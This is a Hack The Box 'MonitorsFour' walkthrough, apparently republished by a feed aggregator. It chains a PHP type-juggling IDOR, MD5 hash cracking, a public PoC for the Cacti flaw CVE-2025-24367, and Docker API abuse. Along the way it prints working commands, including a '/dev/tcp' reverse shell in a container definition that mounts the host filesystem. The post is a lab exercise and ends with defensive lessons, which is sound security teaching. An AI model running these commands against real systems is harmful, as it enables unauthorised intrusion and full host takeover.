惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Microsoft Security Blog
Microsoft Security Blog
Jina AI
Jina AI
量子位
博客园 - 叶小钗
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
IT之家
IT之家
S
SegmentFault 最新的问题
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
小众软件
小众软件
Hugging Face - Blog
Hugging Face - Blog
雷峰网
雷峰网
博客园 - 聂微东
美团技术团队
Last Week in AI
Last Week in AI
罗磊的独立博客
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 三生石上(FineUI控件)
WordPress大学
WordPress大学
宝玉的分享
宝玉的分享
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园_首页
V
Visual Studio Blog
大猫的无限游戏
大猫的无限游戏
The Cloudflare Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
HackTheBox: MonitorsFour - Full Walkthrough
Yogeshwar Peela · 2026-05-27 · via DEV Community

Introduction

If you've been grinding HTB long enough, you start recognizing a pattern: one small oversight compounds into another until the entire system is wide open. MonitorsFour is a textbook example of that. No single vulnerability here is exotic — but chained together, they hand you full control of the host. Let's walk through it.

Difficulty: Medium | OS: Windows | Platform: Hack The Box

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root


Reconnaissance

Standard nmap scan to start:

nmap -sCV -T4 -A <Target_IP> -o filename

Two ports of interest came back:

  • Port 80/tcp — HTTP (nginx)
  • Port 5985/tcp — WinRM (Windows Remote Management)

The website itself had nothing obviously useful on the surface. Time to dig deeper.


Enumeration

Directory Fuzzing

Running ffuf against the web root to find hidden endpoints:

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://monitorsfour.htb/FUZZ -ac

A /user endpoint surfaced. Navigating to it returned an error — a token parameter was expected.

The IDOR Vulnerability

Here's where it gets interesting. I tried the simplest possible value: token=0. It worked.

This is a PHP type juggling vulnerability, the backend uses loose comparison (==) to validate tokens, causing token=0 to match any string value in PHP. This bypasses validation entirely and enables IDOR, exposing any user's data with no authentication required.

The exposed data included password hashes. Those hashes? Unsalted MD5 — trivially crackable using CrackStation. Within seconds, valid credentials were in hand.

Virtual Host Enumeration

The cracked credentials didn't work on the main site. With WinRM also open, it was worth checking for additional virtual hosts:

ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/dirb/wordlists/big.txt -ac

A subdomain appeared: cacti.monitorsfour.htb. Added it to /etc/hosts and navigated over.

Always check for virtual hosts — they're often where the real attack surface hides.

Gaining Access to Cacti

The login page came up. Trying admin / wonderful1 failed — username mismatch. But the IDOR endpoint had leaked the administrator's full name (Marcus Higgins) and email address. Trying a few variations of the name, marcus / wonderful1 succeeded.


Exploitation

Identifying the CVE

The Cacti version was displayed openly on the dashboard: Cacti 1.2.28

A quick search surfaced CVE-2025-24367 — a critical authenticated RCE vulnerability affecting Cacti ≤ 1.2.28. The flaw lies in the Graph Template functionality, where user-supplied input is passed to rrdtool without proper sanitisation, enabling command injection.

Setting Up the Exploit

A public PoC was available. Clone it:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC

Start a listener on port 4444:

nc -lnvp 4444

Then fire the exploit:

sudo python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.145 -l 4444

Shell Received

A reverse shell landed as www-data inside the Cacti web directory — initial foothold confirmed.

User Flag

Basic enumeration of /home revealed a directory for marcus. The user.txt file inside was world-readable:

ls -la /home
ls /home/marcus
cat /home/marcus/user.txt

User flag captured!


Privilege Escalation

Recognizing the Container

The system hostname was a hex string — the kind Docker assigns to containers. No sudo available either. Checking the network:

  • IP in the 172.18.0.0/16 range
  • Default gateway 172.18.0.1

This was a Docker container. The escalation objective shifted: escape the container and reach the host.

Finding the Host IP

/etc/resolv.conf in containerized environments is auto-generated by the Docker engine and often reveals the host-side IP. Checking it disclosed the Docker host IP: 192.168.65.7.

Unauthenticated Docker API

Port 2375 is the classic Docker Remote API port. Testing:

curl http://192.168.65.7:2375/version

No auth prompt. No TLS. The daemon just… answered.

An exposed Docker API without auth lets you:

  • Create containers with arbitrary mounts
  • Run in privileged mode
  • Bypass host kernel protections entirely

Enumerating Available Images

curl http://192.168.65.7:2375/images/json | grep "RepoTags:\[[^]]*\]"

Several locally cached images were available. Using an existing image (docker_setup-nginx-php:latest) avoids pulling anything new — quieter, and more reliable in restricted environments.

Creating the Malicious Container

Create container.json on the attacking machine:

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": [
    "/bin/bash",
    "-c",
    "bash -i >& /dev/tcp/<tun-ip>/9999 0>&1"
  ],
  "HostConfig": {
    "Binds": [
      "/mnt/host/c:/host_root"
    ]
  }
}

In this HTB lab environment (WSL2-based), the Windows host filesystem is exposed at /mnt/host/c from within Linux containers.

Serve the file from the attacking machine:

python3 -m http.server 8000

Fetch it from within the existing shell:

curl http://<tun-ip>:8000/container.json -o container.json

Create the container via the API:

curl -H "Content-Type: application/json" -d @container.json \
  http://192.168.65.7:2375/containers/create?name=pwned

Start a listener:

nc -lnvp 9999

Start the container:

curl -X POST http://192.168.65.7:2375/containers/pwned/start

Root Flag

A shell arrived with full access to the host filesystem via /host_root:

ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt

Root flag captured!


Attack Chain Summary

Step Action
Reconnaissance Nmap revealed HTTP and WinRM
PHP Type Juggling + IDOR token=0 bypassed loose == validation, exposing admin credentials
Hash Cracking Unsalted MD5 cracked via CrackStation
Vhost Enumeration Discovered cacti.monitorsfour.htb
Cacti Login Credentials reused successfully
RCE CVE-2025-24367 gave www-data shell
Container Escape Unauthenticated Docker API on port 2375
Root Mounted host filesystem via malicious container

Lessons Learned

MonitorsFour isn't a box that requires exotic techniques. Every step in this chain is a well-documented, preventable misconfiguration:

1. **PHP Type Juggling + IDOR — Never use loose comparison (==) for token validation. PHP's type juggling causes token=0 to match any string, bypassing authentication entirely. Use strict comparison (===), non-sequential UUIDs for tokens, and always validate ownership server-side on every request.

2. Unsalted MD5 for passwords — MD5 was never appropriate for password storage, and without a salt it's instantly reversible. Use bcrypt, scrypt, or Argon2 with a unique per-user salt.

3. Unpatched software — CVE-2025-24367 had patches available. Cacti 1.2.28 should not have been running in any internet-facing or networked context.

4. Unauthenticated Docker API — Exposing the Docker daemon on port 2375 without TLS mutual authentication is equivalent to giving any user on the network a root shell. If the Remote API is needed at all, it must be locked down with certificates and network-level controls.


Conclusion

The takeaway: defense in depth matters. Any one of these issues in isolation is manageable. Together, they resulted in full host compromise from a single unauthenticated HTTP request.